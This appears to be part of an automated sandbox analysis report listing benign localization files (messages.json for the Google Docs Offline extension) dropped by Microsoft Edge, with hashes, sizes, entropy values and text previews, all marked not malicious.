SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7864_324219990\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
